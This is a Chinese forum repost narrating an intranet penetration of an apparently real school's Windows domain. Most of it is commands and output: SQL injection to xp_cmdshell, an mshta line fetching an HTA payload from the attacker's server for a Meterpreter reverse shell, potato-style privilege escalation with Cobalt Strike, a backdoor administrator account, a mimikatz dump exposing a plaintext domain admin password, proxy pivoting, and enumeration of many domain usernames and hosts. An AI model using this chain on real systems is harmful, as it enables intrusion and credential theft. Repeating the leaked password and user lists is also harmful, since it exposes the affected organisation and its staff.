安全矩阵

 找回密码
 立即注册
搜索
查看: 6563|回复: 0

记一次详细的内网渗透过程

[复制链接]

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
发表于 2020-12-16 20:32:29 | 显示全部楼层 |阅读模式
本帖最后由 Angelica 于 2020-12-16 20:59 编辑

原文链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
外网打点


sqlmap获取shell权限
Sqlmap --sql-shell
Sqlmap --sql-shell命令,获取一个命令行模式。
xp_cmdshell,先查看是否存在

  1. sql-shell> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
  2. [22:01:36] [INFO] fetching SQL SELECT statement query output: 'select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell''
  3. [22:01:36] [INFO] resumed: '1'
  4. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell': '1'
复制代码

启用xp_cmdshell

  1. sql-shell> EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  2. [09:48:09] [INFO] executing SQL data execution statement: 'EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE'
  3. EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE: 'NULL'
复制代码

尝试执行命令
  1. sql-shell> exec master..xp_cmdshell 'whoami'
  2. [09:48:58] [INFO] executing SQL data execution statement: 'exec master..xp_cmdshell 'whoami''
  3. exec master..xp_cmdshell 'whoami': 'NULL'
复制代码

命令无回显,应该是服务器被降权。

  1. sql-shell> select @@servername
  2. [23:02:04] [INFO] fetching SQL SELECT statement query output: 'select @@servername'
  3. [23:02:05] [INFO] retrieved: 'NEWDATABASE'
  4. select @@servername: 'NEWDATABASE'
  5. sql-shell> select host_name()
  6. [23:02:19] [INFO] fetching SQL SELECT statement query output: 'select host_name()'
  7. [23:02:21] [INFO] retrieved: 'MAIL'
  8. select host_name(): 'MAIL'
  9. Sqlmap --os-shell
复制代码



开始撸内网



目标系统为:

  1. web server operating system: Windows 8.1 or 2012 R2
  2. web application technology: ASP.NET, Microsoft IIS 8.5, ASP
  3. back-end DBMS: Microsoft SQL Server 2012
复制代码

Mshta 反弹 shell
尝试各种命令但是发现回显太慢,未找到web路径,无法写web马、exe马,这里尝试使用hta文件。


  1. ➜  ~ sqlmap -r /Users/apple/Desktop/1.txt --os-shell
复制代码

msf启动

  1. msf6 exploit(windows/misc/hta_server) > run<li> Exploit running as background job 0.</li><li> Exploit completed, but no session was created.
  2. </li><li> Started reverse TCP handler on 1.1.1.1:4444 </li><li> Using URL: <a href="http://0.0.0.0:8080/8HGLrG47OUEJ.hta" target="_blank">http://0.0.0.0:8080/8HGLrG47OUEJ.hta</a></li><li> Local IP: http://vps:8080/8HGLrG47OUEJ.hta</li><li> Server started.</li>
复制代码

在目标机器执行


  1. mshta.exe http://vps:8080/8HGLrG47OUEJ.hta
复制代码

maf回显
  1. <li>ip   hta_server - Delivering Payload</li><li> Sending stage (175174 bytes) to ip</li><li> Meterpreter session 1 opened (vps_ip:4444 -> ip:61915) at 2020-12-04 10:01:42 +0800
  2. msf6 exploit(windows/misc/hta_server) > sessions -l

  3. Active sessions
  4. ===============

  5.   Id  Name  Type                     Information                        Connection
  6.   --  ----  ----                     -----------                        ----------
  7.   1         meterpreter x86/windows  NT Service\MSSQLSERVER @ DATABASE  vps_ip:4444 -> ip:61915 (10.10.10.5)
  8. msf6 exploit(windows/misc/hta_server) > sessions -i 1</li><li> Starting interaction with 1...</li>
复制代码
查看目标系统信息

  1. meterpreter > sysinfo
  2. Computer        : DATABASE
  3. OS              : Windows 2012 R2 (6.3 Build 9600).
  4. Architecture    : x64
  5. System Language : zh_TW
  6. Domain          : WEGO
  7. Logged On Users : 14
  8. Meterpreter     : x86/windows
复制代码


进入shell查看一下具体信息,有乱码设置一下编码

  1. C:\Windows\system32>chcp 65001
  2. C:\Windows\system32>ipconfig /all
  3. ipconfig /all

  4. Windows IP Configuration

  5.    Host Name . . . . . . . . . . . . : database
  6.    Primary Dns Suffix  . . . . . . . : xx.xx.x x.xx
  7.    Node Type . . . . . . . . . . . . : Hybrid
  8.    IP Routing Enabled. . . . . . . . : No
  9.    WINS Proxy Enabled. . . . . . . . : No
  10.    DNS Suffix Search List. . . . . . : xx.xx.x x.xx

  11. Ethernet adapter NIC2:

  12.    Media State . . . . . . . . . . . : Media disconnected
  13.    Connection-specific DNS Suffix  . :
  14.    Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #4
  15.    Physical Address. . . . . . . . . : 10-98-36-B0-ED-AE
  16.    DHCP Enabled. . . . . . . . . . . : No
  17.    Autoconfiguration Enabled . . . . : Yes

  18. Ethernet adapter NIC1:

  19.    Connection-specific DNS Suffix  . :
  20.    Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #3
  21.    Physical Address. . . . . . . . . : 10-98-36-B0-ED-AD
  22.    DHCP Enabled. . . . . . . . . . . : No
  23.    Autoconfiguration Enabled . . . . : Yes
  24.    IPv4 Address. . . . . . . . . . . : 10.10.10.5(Preferred)
  25.    Subnet Mask . . . . . . . . . . . : 255.255.254.0
  26.    Default Gateway . . . . . . . . . : 10.10.10.254
  27.    DNS Servers . . . . . . . . . . . : 10.10.10.3
  28.                                        10.10.10.2
  29.    NetBIOS over Tcpip. . . . . . . . : Enabled
复制代码

具有内网环境,DNS服务器可能就是域控。

  1. DNS Servers . . . . . . . . . . . : 10.10.10.3
  2.                                        10.10.10.2
复制代码

提权


利用MSF提权
查看当前用户

  1. C:\Windows\system32>whoami
  2. whoami
  3. nt service\mssqlserver
复制代码

查看系统信息,打得补丁还是比较多的。

  1. systeminfo
复制代码

也可以使用msf模块搜索可执行的本地提权信息

  1. <li>msf6 > use post/multi/recon/local_exploit_suggester
  2. msf6 post(multi/recon/local_exploit_suggester) > run
  3. </li><li> 10.10.10.5 - Collecting local exploits for x86/windows...</li><li> 10.10.10.5 - 35 exploit checks are being tried...
  4. [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
  5. nil versions are discouraged and will be deprecated in Rubygems 4
  6. [+] 10.10.10.5 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
  7. [+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
  8. [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
  9. [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.</li><li> Post module execution completed</li>
复制代码

ms16_075烂土豆提权,直接使用msf进行提权,提权提崩了。。。,尝试exe提权,发现目录不可写。权限不够。(应该找可写目录的,后来找到一个可写目录。)

  1. meterpreter > upload /tmp/beacon.exe C:/Windows/Temp
复制代码

利用CS提权
加载插件,插件下载地址:

https://github.com/scanfsec/Aggr ... tato/juicypotato.cn
  1. <li>beacon> elevate juicypotato http</li><li> Task Beacon to run windows/beacon_http/reverse_http (1.1.1.1:7777) via JuicyPotato (ms16-075)
  2. [+] host called home, sent: 599618 bytes
  3. [+] received output:
  4. .
  5. [+] received output:
  6. ..
  7. [+] received output:
  8. ..
  9. [+] received output:
  10. .
  11. [+] received output:

  12. [+] authresult 0</li><li> {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

  13. [+] CreateProcessWithTokenW OK</li>
复制代码

提权失败,接着使用另一个脚本

https://github.com/DeEpinGh0st/Erebus
成功返回一个shell,system权限。
  1. <li>Task Beacon to run windows/beacon_http/reverse_http (1.1.1.1:7777) via RottenPotato (ms16-075)</li><li> Tasked beacon to spawn NTLM DCOM->RPC NTLM Reflection (MS16-075)
  2. [+] host called home, sent: 256865 bytes</li>
复制代码

但是当前用户确实mssql,权限确实system权限,mssql上线需要迁移进程。
  1. <li>good beacon> shell whoami</li><li> Tasked beacon to run: whoami
  2. [+] host called home, sent: 37 bytes
  3. [+] received output:
  4. nt service\mssqlserver
  5. beacon> getuid</li><li> Tasked beacon to get userid
  6. [+] host called home, sent: 8 bytes</li><li> You are NT AUTHORITY\SYSTEM (admin)</li>
复制代码

使用当前beacon,注入一个administrator用户的进程。



成功生成一个beacon。


创建用户
先创建用户并加入管理员组

查看用户组
  1. <li>beacon> shell net localgroup</li><li> Tasked beacon to run: net localgroup
  2. [+] host called home, sent: 45 bytes
  3. [+] received output:

  4. \\DATABASE 的別名

  5. -------------------------------------------------------------------------------
  6. *Access Control Assistance Operators
  7. *Administrators
  8. *Backup Operators
  9. *Certificate Service DCOM Access
  10. *Cryptographic Operators
  11. *Distributed COM Users
  12. *Event Log Readers
  13. *Guests
  14. *HelpLibraryUpdaters
  15. *Hyper-V Administrators
  16. *IIS_IUSRS
  17. *Network Configuration Operators
  18. *Performance Log Users
  19. *Performance Monitor Users
  20. *Power Users
  21. *Print Operators
  22. *RDS Endpoint Servers
  23. *RDS Management Servers
  24. *RDS Remote Access Servers
  25. *Remote Desktop Users
  26. *Remote Management Users
  27. *Replicator
  28. *SQLServer2005SQLBrowserUser$NEWDATABASE
  29. *SQLServerMSASUser$NEWDATABASE$MSSQLSERVER
  30. *Users
  31. *WinRMRemoteWMIUsers__
  32. 命令已经成功完成。</li>
复制代码

管理员组添加用户
  1. <li>beacon> shell net localgroup Administrators good /add</li><li> Tasked beacon to run: net localgroup Administrators good /add
  2. [+] host called home, sent: 70 bytes
  3. [+] received output:
  4. 命令已经成功完成。</li>
复制代码

查看管理员组
  1. <li>beacon> shell net localgroup Administrators</li><li> Tasked beacon to run: net localgroup Administrators
  2. [+] host called home, sent: 60 bytes
  3. [+] received output:
  4. 別名     Administrators
  5. 註解     Administrators 可以完全不受限制地存取电脑/网域

  6. 成員

  7. -------------------------------------------------------------------------------
  8. Administrator
  9. good
  10. HelpAssistant
  11. WEGO\Domain Admins
  12. 命令已经成功完成。</li>
复制代码

端口扫描,尝试连接3389
  1. <li>beacon> portscan 10.10.10.5 1-1024,3389,5000-6000 arp 1024</li><li> Tasked beacon to scan ports 1-1024,3389,5000-6000 on 10.10.10.5
  2. [+] host called home, sent: 93245 bytes
  3. [+] received output:
  4. (ARP) Target '10.10.10.5' is alive. 10-98-36-B0-ED-AD
  5. 10.10.10.5:5985

  6. [+] received output:
  7. 10.10.10.5:3389

  8. [+] received output:
  9. 10.10.10.5:139
  10. 10.10.10.5:135
  11. 10.10.10.5:80
  12. 10.10.10.5:445 (platform: 500 version: 6.3 name: DATABASE domain: WEGO)
  13. Scanner module is complete</li>
复制代码

抓取密码
运行mimikatz抓密码。

  1. beacon> logonpasswords
  2.     wdigest :   
  3.      * Username : Administrator
  4.      * Domain   : WEGO
  5.      * Password : jo6ek6vul3vm,6
复制代码

打域控,挂socker代理(cs的socks4很不好用,后来使用的是frp)。

  1. beacon> socks 1070
  2. [+] started SOCKS4a server on: 1070
  3. [+] host called home, sent: 16 bytes
复制代码

获取域内的基础信息
查询机器属于哪个域
  1. <li>shell net config Workstation

  2. beacon> shell net config Workstation</li><li> Tasked beacon to run: net config Workstation
  3. [+] host called home, sent: 53 bytes
  4. [+] received output:
  5. 电脑名称                         \\DATABASE
  6. 完整电脑名称                     database.xx.xx.x x.xx
  7. 使用者名称                       Administrator

  8. 工作站启动于                     
  9.     NetBT_Tcpip_{2B6B95FB-22AC-4BE5-9B0E-6778A02AF68C} (109836B0EDAD)

  10. 软体版本                         Windows Server 2012 R2 Standard

  11. 工作站网域                       WEGO
  12. 工作站网域 DNS 名称              xx.xx.x x.xx
  13. 登入网域                         WEGO

  14. COM 启用等候逾时(秒)             0
  15. COM 传送计数 (位元组)            16
  16. COM 传送等候逾时(千分之一秒)     250
  17. 命令已经成功完成。</li>
复制代码

查询当前内网中域数量
查询有几个域, 查询域列表
  1. <li>beacon> shell net view /domain</li><li> Tasked beacon to run: net view /domain
  2. [+] host called home, sent: 47 bytes
  3. [+] received output:
  4. Domain

  5. -------------------------------------------------------------------------------
  6. KG                  
  7. WEGO                 
  8. WORKGROUP            
  9. 命令已经成功完成。</li>
复制代码

查询域控制器主机名
  1. <li>beacon> shell net group "domain controllers" /domain</li><li> Tasked beacon to run: net group "domain controllers" /domain
  2. [+] host called home, sent: 69 bytes
  3. [+] received output:
  4. 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。

  5. 群组名称     Domain Controllers
  6. 註解         在网域所有的网域控制站

  7. 成员

  8. -------------------------------------------------------------------------------
  9. AD1[        DISCUZ_CODE_2229        ]nbsp;                    AD2[        DISCUZ_CODE_2229        ]nbsp;                    AD3[        DISCUZ_CODE_2229        ]nbsp;                    
  10. 命令已经成功完成</li>
复制代码

查询域控制器
  1. <li>beacon> shell net group "domain controllers" /domain</li><li> Tasked beacon to run: net group "domain controllers" /domain
  2. [+] host called home, sent: 69 bytes
  3. [+] received output:
  4. 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。

  5. 群组名称     Domain Controllers
  6. 註解         在网域所有的网域控制站

  7. 成员

  8. -------------------------------------------------------------------------------
  9. AD1[        DISCUZ_CODE_2230        ]nbsp;                    AD2[        DISCUZ_CODE_2230        ]nbsp;                    AD3[        DISCUZ_CODE_2230        ]nbsp;                    
  10. 命令已经成功完成</li>
复制代码

查看一下域控制器的IP
  1. <li>beacon> shell ping AD1.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD1.xx.xx.x x.xx
  2. [+] host called home, sent: 54 bytes
  3. [+] received output:

  4. Ping AD1.xx.xx.x x.xx [10.10.10.2] (使用 32 位元组的资料):
  5. 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
  6. 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
  7. 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128
  8. 回覆自 10.10.10.2: 位元组=32 时间<1ms TTL=128

  9. 10.10.10.2 的 Ping 统计资料:
  10.     封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
  11. 大约的来回时间 (毫秒):
  12.     最小值 = 0ms,最大值 = 0ms,平均 = 0ms

  13. beacon> shell ping AD2.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD2.xx.xx.x x.xx
  14. [+] host called home, sent: 54 bytes
  15. [+] received output:

  16. Ping AD2.xx.xx.x x.xx [10.10.10.3] (使用 32 位元组的资料):
  17. 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
  18. 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
  19. 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128
  20. 回覆自 10.10.10.3: 位元组=32 时间<1ms TTL=128

  21. 10.10.10.3 的 Ping 统计资料:
  22.     封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
  23. 大约的来回时间 (毫秒):
  24.     最小值 = 0ms,最大值 = 0ms,平均 = 0ms

  25. beacon> shell ping AD3.xx.xx.x x.xx</li><li> Tasked beacon to run: ping AD3.xx.xx.x x.xx
  26. [+] host called home, sent: 54 bytes
  27. [+] received output:

  28. Ping AD3.xx.xx.x x.xx [10.10.10.4] (使用 32 位元组的资料):
  29. 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
  30. 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
  31. 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128
  32. 回覆自 10.10.10.4: 位元组=32 时间<1ms TTL=128

  33. 10.10.10.4 的 Ping 统计资料:
  34.     封包: 已传送 = 4,已收到 = 4, 已遗失 = 0 (0% 遗失),
  35. 大约的来回时间 (毫秒):
  36.     最小值 = 0ms,最大值 = 0ms,平均 = 0ms</li>
复制代码

查询域管理用户
  1. <li>beacon> shell net group "domain admins" /domain</li><li> Tasked beacon to run: net group "domain admins" /domain
  2. [+] host called home, sent: 64 bytes
  3. [+] received output:
  4. 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。

  5. 群组名称     Domain Admins
  6. 註解         指定的网域系统管理员

  7. 成员

  8. -------------------------------------------------------------------------------
  9. Administrator            albert_huang             chuck_ho                 
  10. jerrytsao                juinyih                  se                       
  11. srj                      wegovpn2020              
  12. 命令已经成功完成</li>
复制代码

查询域用户列表
  1. <li>beacon> shell net user /domain</li><li> Tasked beacon to run: net user /domain
  2. [+] host called home, sent: 47 bytes
  3. [+] received output:
  4. 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。


  5. \\AD2.xx.xx.x x.xx 的使用者帐户

  6. -------------------------------------------------------------------------------
  7. 098                      201sandy                 203savanah               
  8. 204hanna                 205vanessa               213amy                  
  9. 2305                     3557                     526alice                 
  10. account                  Administrator            affair                  
  11. albert_huang             alice31707               alison                  
  12. amy                      amyjccd                  andrewmunro              
  13. anita                    anne                     ap7653                  
  14. argreschler              ashinlover               ashleychen               
  15. beauc                    berrywu                  bkmanager               
  16. brandonolen              busm                     caca                     
  17. camy4648                 carolina                 caroline                 
  18. cashier                  charlie                  chellie72               
  19. cherry2011               cheryllin                chi                     
  20. chi0707                  CHIAEN                   christina               
  21. christinelee             chuanmien                chuck_ho                 
  22. chunying                 cindykyang               cleeve                  
  23. collinsko0109            cyajen0717               Dale                     
  24. dfl001                   dianahou                 director                 
  25. dola                     dperabo                  eileen5717               
  26. epayding                 esansan                  eslteacher               
  27. eusebia                  evanceho                 faithtien               
  28. fatfat1188               fayina                   flowerrr                 
  29. guccichia                Guest                    gvholley                 
  30. haiyou                   ikuchen                  indigododos              
  31. iriscai                  IUSER_WEGONET            IUSER_WGPS               
  32. IUSR_MAIL                ivyc                     ivyhou                  
  33. IWAM_MAIL                j5218                    Jacobson8959            
  34. jennifer                 jennifer_liang           jerrytsao               
  35. jessicama711             jgtoma                   jih455</li>
复制代码

查看当前域内机器主机名
  1. <li>beacon> shell net view</li><li> Tasked beacon to run: net view
  2. [+] host called home, sent: 39 bytes
  3. [+] received output:
  4. 伺服器名称            说明

  5. -------------------------------------------------------------------------------
  6. \\3060-1E                                                                     
  7. \\3060-2E                                                                     
  8. \\3060-2F                                                                     
  9. \\3060-4B                                                                     
  10. \\3060-5C                                                                     
  11. \\3060-5D                                                                     
  12. \\ACADEMIC                                                                     
  13. \\ACCOUNT-3070                                                                 
  14. \\ACCOUNT3050          会计组长                                                
  15. \\AD1                                                                          
  16. \\AD2                                                                          
  17. \\AD3                                                                          
  18. \\AFFAIRS-3060                                                                 
  19. \\ASUS-500G4-PC                                                               
  20. \\CARD100              卡钟主机                                                
  21. \\CDTOWER17                                                                    
  22. \\DATABASE                                                                     
  23. \\DELL7020B-36                                                                 
  24. \\DFL-3340-67                                                                  
  25. \\DFL-FILES2017                                                               
  26. \\FILES                                                                        
  27. \\FILES2                                                                       
  28. \\LIB-3020-83                                                                  
  29. \\LIB-7020-82                                                                  
  30. \\MAIL                                                                        
  31. \\MEDIA-DOME                                                                  
  32. \\PCSCRIBE-7                                                                  
  33. \\PCTEACHER-100                                                               
  34. \\PERSONNEL-3060                                                               
  35. \\STPC-01                                                                     
  36. \\STPC-02                                                                     
  37. \\STPC-03                                                                     
  38. \\STPC-04                                                                     
  39. \\STPC-05                                                                     
  40. \\STPC-06                                                                     
  41. \\STPC-07                                                                     
  42. \\STPC-08                                                                     
  43. \\STPC-09                                                                     
  44. \\STPC-10                                                                     
  45. \\STPC-11                                                                     
  46. \\STPC-12                                                                     
  47. \\STPC-13                                                                     
  48. \\STPC-14                                                                     
  49. \\STPC-15                                                                     
  50. \\STPC-16                                                                     
  51. \\STPC-17                                                                     
  52. \\STPC-18                                                                     
  53. \\STPC-19                                                                     
  54. \\STPC-20                                                                     
  55. \\STPC-21                                                                     
  56. \\STPC-22                                                                     
  57. \\STPC-23                                                                     
  58. \\STPC-24                                                                     
  59. \\STPC-25                                                                     
  60. \\STPC-26                                                                     
  61. \\STPC-27                                                                     
  62. \\STPC-28                                                                     
  63. \\STPC-29                                                                     
  64. \\STPC-30                                                                     
  65. \\STPC-31                                                                     
  66. \\STPC-32                                                                     
  67. \\STPC-33                                                                     
  68. \\STPC-34                                                                     
  69. \\STPC-35                                                                     
  70. \\STPC-36                                                                     
  71. \\STPC-37                                                                     
  72. \\STPC-39                                                                     
  73. \\STPC-40                                                                     
  74. \\STPC-41                                                                     
  75. \\STPC-42                                                                     
  76. \\STPC-47                                                                     
  77. \\STUFILES                                                                     
  78. \\WIN101C                                                                     
  79. \\WIN106D                                                                     
  80. \\WIN10MUSIC56</li>
复制代码

查看某个域中的所有计算机主机名
  1. net view /domain:XXX
复制代码

查询域内所有计算机主机名
  1. <li>beacon> shell net group "domain computers" /domain</li><li> Tasked beacon to run: net group "domain computers" /domain
  2. [+] host called home, sent: 67 bytes
  3. [+] received output:
  4. 这项要求会在网域 xx.xx.x x.xx 下的网域控制站处理。

  5. 群组名称     Domain Computers
  6. 註解         所有已加入网域的工作站及伺服器

  7. 成员</li>
复制代码
  1. <li>-------------------------------------------------------------------------------
  2. 1A86TV[        DISCUZ_CODE_2237        ]nbsp;                 2003R2-32BITS[        DISCUZ_CODE_2237        ]nbsp;          2003SERVER[        DISCUZ_CODE_2237        ]nbsp;            
  3. 3060-1E[        DISCUZ_CODE_2237        ]nbsp;                3060-1F[        DISCUZ_CODE_2237        ]nbsp;                3060-2A[        DISCUZ_CODE_2237        ]nbsp;               
  4. 3060-2B[        DISCUZ_CODE_2237        ]nbsp;                3060-2C[        DISCUZ_CODE_2237        ]nbsp;                3060-2D[        DISCUZ_CODE_2237        ]nbsp;               
  5. 3060-2E[        DISCUZ_CODE_2237        ]nbsp;                3060-2F[        DISCUZ_CODE_2237        ]nbsp;                3060-4A[        DISCUZ_CODE_2237        ]nbsp;               
  6. 3060-4B[        DISCUZ_CODE_2237        ]nbsp;                3060-4C[        DISCUZ_CODE_2237        ]nbsp;                3060-4D[        DISCUZ_CODE_2237        ]nbsp;               
  7. 3060-5A[        DISCUZ_CODE_2237        ]nbsp;                3060-5B[        DISCUZ_CODE_2237        ]nbsp;                3060-5C[        DISCUZ_CODE_2237        ]nbsp;               
  8. 3060-5D[        DISCUZ_CODE_2237        ]nbsp;                3060-6E[        DISCUZ_CODE_2237        ]nbsp;                3060-6F[        DISCUZ_CODE_2237        ]nbsp;               
  9. 3060CALLIGRAPHY[        DISCUZ_CODE_2237        ]nbsp;        4730WORK[        DISCUZ_CODE_2237        ]nbsp;               ACADEMIC[        DISCUZ_CODE_2237        ]nbsp;               
  10. ACCOUNT3050[        DISCUZ_CODE_2237        ]nbsp;            ACCOUNT-3070[        DISCUZ_CODE_2237        ]nbsp;           ACCOUNT-7[        DISCUZ_CODE_2237        ]nbsp;              
  11. ACTIVITES-3020A[        DISCUZ_CODE_2237        ]nbsp;        ACTIVITES-3020B[        DISCUZ_CODE_2237        ]nbsp;        ACTIVITIES3020C[        DISCUZ_CODE_2237        ]nbsp;        
  12. ACTIVITY-181[        DISCUZ_CODE_2237        ]nbsp;           AD2-NEW[        DISCUZ_CODE_2237        ]nbsp;                AD3-OLD[        DISCUZ_CODE_2237        ]nbsp;               
  13. ADMINISTRATOR[        DISCUZ_CODE_2237        ]nbsp;          AFFAIRS-3060[        DISCUZ_CODE_2237        ]nbsp;           ALBERT_HUANG[        DISCUZ_CODE_2237        ]nbsp;           
  14. ANNALIU[        DISCUZ_CODE_2237        ]nbsp;                ANNALIU-XP-VM[        DISCUZ_CODE_2237        ]nbsp;          ASUS-500G4-PC[        DISCUZ_CODE_2237        ]nbsp;         
  15. B8AC6F362198[        DISCUZ_CODE_2237        ]nbsp;           B8AC6F3C1711[        DISCUZ_CODE_2237        ]nbsp;           B8AC6F3C727F[        DISCUZ_CODE_2237        ]nbsp;           
  16. CALLIGRAPHY3060[        DISCUZ_CODE_2237        ]nbsp;        CARD100[        DISCUZ_CODE_2237        ]nbsp;                CASHIER-3070[        DISCUZ_CODE_2237        ]nbsp;           
  17. CASHIER7[        DISCUZ_CODE_2237        ]nbsp;               CDTOWER17[        DISCUZ_CODE_2237        ]nbsp;              CG-86TV[        DISCUZ_CODE_2237        ]nbsp;               
  18. CHIEF-PE[        DISCUZ_CODE_2237        ]nbsp;               CURRICULUM-2019[        DISCUZ_CODE_2237        ]nbsp;        CURRICULUM-3060[        DISCUZ_CODE_2237        ]nbsp;        
  19. DATABASE[        DISCUZ_CODE_2237        ]nbsp;               DB2019[        DISCUZ_CODE_2237        ]nbsp;                 DELL-2420-3[        DISCUZ_CODE_2237        ]nbsp;            
  20. DELL7020B-36[        DISCUZ_CODE_2237        ]nbsp;           DELL7020B-PC[        DISCUZ_CODE_2237        ]nbsp;           DELL9020-PC[        DISCUZ_CODE_2237        ]nbsp;            
  21. DELLPC[        DISCUZ_CODE_2237        ]nbsp;                 DFL-3340-65[        DISCUZ_CODE_2237        ]nbsp;            DFL-3340-66[        DISCUZ_CODE_2237        ]nbsp;            
  22. DFL-3340-67[        DISCUZ_CODE_2237        ]nbsp;            DFL-3340-70[        DISCUZ_CODE_2237        ]nbsp;            DFL-3340ENG-68[        DISCUZ_CODE_2237        ]nbsp;         
  23. DFL-3340ENG-69[        DISCUZ_CODE_2237        ]nbsp;         DFL-3380-81[        DISCUZ_CODE_2237        ]nbsp;            DFL-3380-82[        DISCUZ_CODE_2237        ]nbsp;            
  24. DFL-3400-85[        DISCUZ_CODE_2237        ]nbsp;            DFL-3400-86[        DISCUZ_CODE_2237        ]nbsp;            DFL-4730-80[        DISCUZ_CODE_2237        ]nbsp;            
  25. DFL-ACER-82[        DISCUZ_CODE_2237        ]nbsp;            DFL-ACER-84[        DISCUZ_CODE_2237        ]nbsp;            DFL-ACTIVITIES[        DISCUZ_CODE_2237        ]nbsp;         
  26. DFL-CURRICULUM[        DISCUZ_CODE_2237        ]nbsp;         DFL-FILES2017[        DISCUZ_CODE_2237        ]nbsp;          DFL-NB1[        DISCUZ_CODE_2237        ]nbsp;               
  27. DFL-NB10[        DISCUZ_CODE_2237        ]nbsp;               DFL-NB11[        DISCUZ_CODE_2237        ]nbsp;               DFL-NB3[        DISCUZ_CODE_2237        ]nbsp;               
  28. DFL-NB4[        DISCUZ_CODE_2237        ]nbsp;                DFL-NB5[        DISCUZ_CODE_2237        ]nbsp;                DFL-NB6[        DISCUZ_CODE_2237        ]nbsp;               
  29. DFL-NB7[        DISCUZ_CODE_2237        ]nbsp;                DFL-NB9[        DISCUZ_CODE_2237        ]nbsp;                DFL-SUPERVISOR2[        DISCUZ_CODE_2237        ]nbsp;        
  30. DIR-AFFAIRS[        DISCUZ_CODE_2237        ]nbsp;            DIR-DFL[        DISCUZ_CODE_2237        ]nbsp;                DIR-JAPAN[        DISCUZ_CODE_2237        ]nbsp;              
  31. DIR-STUDENT[        DISCUZ_CODE_2237        ]nbsp;            DISCIPLINE-3060[        DISCUZ_CODE_2237        ]nbsp;        ESL-603[        DISCUZ_CODE_2237        ]nbsp;               
  32. ESLNB-2420-C[        DISCUZ_CODE_2237        ]nbsp;           ESLNB-2420-R[        DISCUZ_CODE_2237        ]nbsp;           ESL-P243-1[        DISCUZ_CODE_2237        ]nbsp;            
  33. ESL-P243-2[        DISCUZ_CODE_2237        ]nbsp;             ESL-P243-3[        DISCUZ_CODE_2237        ]nbsp;             ESL-P243-4[        DISCUZ_CODE_2237        ]nbsp;            
  34. FILES[        DISCUZ_CODE_2237        ]nbsp;                  FILES2[        DISCUZ_CODE_2237        ]nbsp;                 FITNESSCENTER[        DISCUZ_CODE_2237        ]nbsp;         
  35. HAPPY-HOUSE[        DISCUZ_CODE_2237        ]nbsp;            HEALTH-3060[        DISCUZ_CODE_2237        ]nbsp;            HEALTH7[        DISCUZ_CODE_2237        ]nbsp;               
  36. HEALTH-SERVICE[        DISCUZ_CODE_2237        ]nbsp;         HYGIENE-3070[        DISCUZ_CODE_2237        ]nbsp;           HYPERV2008R2[        DISCUZ_CODE_2237        ]nbsp;           
  37. JAPAN77-TEACHER[        DISCUZ_CODE_2237        ]nbsp;        KITCHEN3020[        DISCUZ_CODE_2237        ]nbsp;            KITCHEN-7-60[        DISCUZ_CODE_2237        ]nbsp;           
  38. LIB-3020-83[        DISCUZ_CODE_2237        ]nbsp;            LIB-3020-84[        DISCUZ_CODE_2237        ]nbsp;            LIB-3020-85[        DISCUZ_CODE_2237        ]nbsp;            
  39. LIB-3020-86[        DISCUZ_CODE_2237        ]nbsp;            LIB-3020-87[        DISCUZ_CODE_2237        ]nbsp;            LIB3060TEACHER[        DISCUZ_CODE_2237        ]nbsp;         
  40. LIB-3060TEACHER[        DISCUZ_CODE_2237        ]nbsp;        LIB-7020-82[        DISCUZ_CODE_2237        ]nbsp;            LIB-TEACHER[        DISCUZ_CODE_2237        ]nbsp;            
  41. MAIL[        DISCUZ_CODE_2237        ]nbsp;                   MAIL2[        DISCUZ_CODE_2237        ]nbsp;                  MEDIA-DOME[        DISCUZ_CODE_2237        ]nbsp;            
  42. ML20936[        DISCUZ_CODE_2237        ]nbsp;                ML20936-PC[        DISCUZ_CODE_2237        ]nbsp;             nas8be8d1[        DISCUZ_CODE_2237        ]nbsp;              
  43. nasbfa3ee[        DISCUZ_CODE_2237        ]nbsp;              NEW_NB01[        DISCUZ_CODE_2237        ]nbsp;               NEW-WIN[        DISCUZ_CODE_2237        ]nbsp;               
  44. NWIN7-0[        DISCUZ_CODE_2237        ]nbsp;                NWIN7-1[        DISCUZ_CODE_2237        ]nbsp;                NWIN7-2[        DISCUZ_CODE_2237        ]nbsp;               
  45. NWIN7-3[        DISCUZ_CODE_2237        ]nbsp;                NWIN7-4[        DISCUZ_CODE_2237        ]nbsp;                OLD-DATA814[        DISCUZ_CODE_2237        ]nbsp;            
